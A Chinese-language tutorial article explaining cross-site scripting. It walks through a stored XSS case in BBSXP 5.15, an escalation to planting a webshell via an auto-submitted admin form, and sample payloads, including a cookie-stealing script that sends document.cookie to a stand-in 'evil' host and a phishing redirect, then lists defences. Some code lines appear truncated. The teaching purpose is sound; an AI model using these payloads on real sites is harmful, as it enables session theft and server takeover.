首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

跨站腳本攻擊(XSS)原理與實戰分析

     編輯:關於SqlServer

XSS(Cross-Site Scripting)與 SQL 注入同屬「輸入驗證不足」導致的注入型攻擊。攻擊者將惡意 JavaScript 等腳本植入頁面,受害者瀏覽時在其瀏覽器執行,竊取 Cookie、偽造表單、鍵盤記錄、重導向釣魚站等。

判斷漏洞:代碼審計關鍵點

  • 使用者輸入直接輸出至 HTML 且未編碼:Response.Write Request("param")。
  • 輸入帶入 JavaScript 事件屬性:onload="...Request(...)..."。
  • Cookie 值直接寫入頁面/腳本:Request.Cookies("x")。

實戰案例:BBSXP 5.15 存儲型 XSS

注入點

' cookies.asp
Response.Cookies("skins") = "" & Request("no") & ""

' setup.asp
Response.Write ""
Response.Write ""

攻擊者構造 no=4><script>document.write('<iframe src=...>')</script>,經 Cookie 存儲,後續管理員瀏覽 setup.asp 時觸發。

進階利用:自動提交表單植入 Webshell

https://target/page2.asp?username=

管理員瀏覽含此留言的頁面 → 表單自動提交 → 將圖片馬備份為 database/haha.asp → 獲取 Webshell。

關鍵:需管理員權限(Session/Cookie)才能執行備份操作。

常見攻擊載荷

  • 竊取 Cookie:<script>window.open('https://evil/steal?c='+document.cookie)</script>
  • 鍵盤記錄:載入外部 JS 記錄輸入並回傳。
  • 釣魚重導向:document.location='https://phishing/login'。

防禦清單

  1. 輸出編碼:HTML 編碼(Server.HtmlEncode)、JavaScript 編碼、URL 編碼、CSS 編碼,依輸出上下文選擇。
  2. 輸入驗證:白名單制,拒絕非預期字元(如 <>"'&)。
  3. HttpOnly Cookie:HttpOnly 旗標防止 JS 讀取 Session Cookie。
  4. Content Security Policy (CSP):限制腳本來源、禁止內聯腳本、禁止 eval()。
  5. WAF/掃描器:定期掃描反射型、存儲型、DOM 型 XSS。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved